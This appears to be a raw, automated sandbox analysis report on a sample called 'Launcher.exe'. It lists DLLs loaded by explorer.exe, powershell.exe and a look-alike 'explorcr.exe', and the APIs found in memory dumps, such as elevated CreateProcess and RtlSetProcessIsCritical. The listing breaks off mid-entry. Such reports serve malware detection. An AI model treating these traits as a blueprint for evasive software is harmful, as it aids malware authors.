"explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007364) "explorer.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007364) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\aspnet_rc.dll (UID: 00000000-00007948) "explorcr.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007420) "explorcr.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007420) "explorcr.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007420) "explorcr.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00007420) "explorcr.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007420) "explorcr.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007420) "explorcr.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00007420)38:T17fd,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "Launcher.exe") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp, 00000000-00005868.00000000.154394.034E0000.00000004.mdmp, 00000000-00005868.00000000.154394.04F60000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.01390000.00000004.mdmp, 00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000000.154460.03C90000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03C90000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03C90000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "ateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000000.154460.03C90000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessW,404,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006308.00000000.154569.02880000.00000004.mdmp, 00000000-00006308.00000000.154569.028D0000.00000004.mdmp, 00000000-00006308.00000000.154569.02B20000.00000004.mdmp, 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found reference to API "AYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006668.00000000.154539.029D0000.00000004.mdmp, 00000000-00006668.00000000.154539.02D80000.00000004.mdmp, 00000000-00006668.00000000.154539.04970000.00000004.mdmp, 00000000-00006668.00000001.156457.029D0000.00000004.mdmp, 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp, 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp, 00000000-00006668.00000001.156457.1E6F0000.00000004.mdmp") Found reference to API "AYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006668.00000000.154539.029D0000.00000004.mdmp, 00000000-00006668.00000001.156457.029D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006668.00000000.154539.029D0000.00000004.mdmp, 00000000-00006668.00000001.156457.029D0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00007364.00000000.154601.036D0000.00000004.mdmp, 00000000-00007364.00000000.154601.038D0000.00000004.mdmp, 00000000-00007364.00000000.154601.054C0000.00000004.mdmp, 00000000-00007364.00000001.156522.054C0000.00000004.mdmp, 00000000-00007364.00000002.157710.036D0000.00000004.mdmp, 00000000-00007364.00000002.157710.038D0000.00000004.mdmp, 00000000-00007364.00000002.157710.054C0000.00000004.mdmp")39:T83d1,Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "Launcher.exe") Found reference to API (Indicator: "MulDiv"; File: "Launcher.exe") Found reference to API (Indicator: "DeleteFileA"; File: "Launcher.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "Launcher.exe") Found reference to API (Indicator: "FindNextFileA"; File: "Launcher.exe") Found reference to API (Indicator: "FindClose"; File: "Launcher.exe") Found reference to API (Indicator: "SetFilePointer"; File: "Launcher.exe") Found reference to API (Indicator: "ReadFile"; File: "Launcher.exe") Found reference to API (Indicator: "WriteFile"; File: "Launcher.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "Launcher.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "Launcher.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "Launcher.exe") Found reference to API (Indicator: "FreeLibrary"; File: "Launcher.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Launcher.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "Launcher.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "Launcher.exe") Found reference to API (Indicator: "SetErrorMode"; File: "Launcher.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "Launcher.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Launcher.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "Launcher.exe") Found reference to API (Indicator: "GlobalFree"; File: "Launcher.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcmpA"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcmpiA"; File: "Launcher.exe") Found reference to API (Indicator: "CloseHandle"; File: "Launcher.exe") Found reference to API (Indicator: "SetFileTime"; File: "Launcher.exe") Found reference to API (Indicator: "CompareFileTime"; File: "Launcher.exe") Found reference to API (Indicator: "SearchPathA"; File: "Launcher.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "Launcher.exe") Found reference to API (Indicator: "GetFullPathNameA"; File: "Launcher.exe") Found reference to API (Indicator: "MoveFileA"; File: "Launcher.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "Launcher.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "Launcher.exe") Found reference to API (Indicator: "GetLastError"; File: "Launcher.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "Launcher.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "Launcher.exe") Found reference to API (Indicator: "Sleep"; File: "Launcher.exe") Found reference to API (Indicator: "GetFileSize"; File: "Launcher.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "Launcher.exe") Found reference to API (Indicator: "GetTickCount"; File: "Launcher.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "Launcher.exe") Found reference to API (Indicator: "CopyFileA"; File: "Launcher.exe") Found reference to API (Indicator: "ExitProcess"; File: "Launcher.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "Launcher.exe") Found reference to API (Indicator: "GetTempPathA"; File: "Launcher.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "Launcher.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcpynA"; File: "Launcher.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "Launcher.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "Launcher.exe") Found reference to API (Indicator: "GlobalLock"; File: "Launcher.exe") Found reference to API (Indicator: "CreateThread"; File: "Launcher.exe") Found reference to API (Indicator: "CreateProcessA"; File: "Launcher.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "Launcher.exe") Found reference to API (Indicator: "CreateFileA"; File: "Launcher.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "Launcher.exe") Found reference to API (Indicator: "lstrlenA"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcatA"; File: "Launcher.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "Launcher.exe") Found reference to API (Indicator: "DrawTextA"; File: "Launcher.exe") Found reference to API (Indicator: "FillRect"; File: "Launcher.exe") Found reference to API (Indicator: "GetClientRect"; File: "Launcher.exe") Found reference to API (Indicator: "BeginPaint"; File: "Launcher.exe") Found reference to API (Indicator: "DefWindowProcA"; File: "Launcher.exe") Found reference to API (Indicator: "SendMessageA"; File: "Launcher.exe") Found reference to API (Indicator: "InvalidateRect"; File: "Launcher.exe") Found reference to API (Indicator: "EnableWindow"; File: "Launcher.exe") Found reference to API (Indicator: "GetDC"; File: "Launcher.exe") Found reference to API (Indicator: "LoadImageA"; File: "Launcher.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "Launcher.exe") Found reference to API (Indicator: "IsWindow"; File: "Launcher.exe") Found reference to API (Indicator: "FindWindowExA"; File: "Launcher.exe") Found reference to API (Indicator: "SendMessageTimeoutA"; File: "Launcher.exe") Found reference to API (Indicator: "wsprintfA"; File: "Launcher.exe") Found reference to API (Indicator: "ShowWindow"; File: "Launcher.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "Launcher.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "Launcher.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "Launcher.exe") Found reference to API (Indicator: "SetTimer"; File: "Launcher.exe") Found reference to API (Indicator: "DestroyWindow"; File: "Launcher.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "Launcher.exe") Found reference to API (Indicator: "CharNextA"; File: "Launcher.exe") Found reference to API (Indicator: "GetClassInfoA"; File: "Launcher.exe") Found reference to API (Indicator: "CreateWindowExA"; File: "Launcher.exe") Found reference to API (Indicator: "SystemParametersInfoA"; File: "Launcher.exe") Found reference to API (Indicator: "RegisterClassA"; File: "Launcher.exe") Found reference to API (Indicator: "ScreenToClient"; File: "Launcher.exe") Found reference to API (Indicator: "GetWindowRect"; File: "Launcher.exe") Found reference to API (Indicator: "SetClassLongA"; File: "Launcher.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "Launcher.exe") Found reference to API (Indicator: "SetWindowPos"; File: "Launcher.exe") Found reference to API (Indicator: "GetSysColor"; File: "Launcher.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "Launcher.exe") Found reference to API (Indicator: "SetCursor"; File: "Launcher.exe") Found reference to API (Indicator: "LoadCursorA"; File: "Launcher.exe") Found reference to API (Indicator: "LoadBitmapA"; File: "Launcher.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "Launcher.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "Launcher.exe") Found reference to API (Indicator: "CloseClipboard"; File: "Launcher.exe") Found reference to API (Indicator: "SetClipboardData"; File: "Launcher.exe") Found reference to API (Indicator: "EmptyClipboard"; File: "Launcher.exe") Found reference to API (Indicator: "OpenClipboard"; File: "Launcher.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "Launcher.exe") Found reference to API (Indicator: "AppendMenuA"; File: "Launcher.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "Launcher.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "Launcher.exe") Found reference to API (Indicator: "MessageBoxA"; File: "Launcher.exe") Found reference to API (Indicator: "CharPrevA"; File: "Launcher.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "Launcher.exe") Found reference to API (Indicator: "PeekMessageA"; File: "Launcher.exe") Found reference to API (Indicator: "SelectObject"; File: "Launcher.exe") Found reference to API (Indicator: "CreateFontIndirectA"; File: "Launcher.exe") Found reference to API (Indicator: "DeleteObject"; File: "Launcher.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "Launcher.exe") Found reference to API (Indicator: "SHFileOperationA"; File: "Launcher.exe") Found reference to API (Indicator: "ShellExecuteA"; File: "Launcher.exe") Found reference to API (Indicator: "SHGetFileInfoA"; File: "Launcher.exe") Found reference to API (Indicator: "SHBrowseForFolderA"; File: "Launcher.exe") Found reference to API (Indicator: "SHGetPathFromIDListA"; File: "Launcher.exe") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; File: "Launcher.exe") Found reference to API (Indicator: "RegEnumValueA"; File: "Launcher.exe") Found reference to API (Indicator: "RegEnumKeyA"; File: "Launcher.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "Launcher.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "Launcher.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "Launcher.exe") Found reference to API (Indicator: "RegCloseKey"; File: "Launcher.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "Launcher.exe") Found reference to API (Indicator: "RegDeleteKeyA"; File: "Launcher.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "Launcher.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "Launcher.exe") Found reference to API (Indicator: "OleUninitialize"; File: "Launcher.exe") Found reference to API (Indicator: "OleInitialize"; File: "Launcher.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "Launcher.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "Launcher.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "Launcher.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "Launcher.exe") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "Launcher.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "Launcher.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "Launcher.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "Launcher.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExA"; File: "Launcher.exe") Found reference to API (Indicator: "MoveFileExA"; File: "Launcher.exe") Found reference to API (Indicator: "CompareString"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API (Indicator: "GetTempPath"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileName"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API (Indicator: "GetProcessById"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API (Indicator: "RtlSetProcessIsCritical"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SearchPathA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "MoveFileA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: 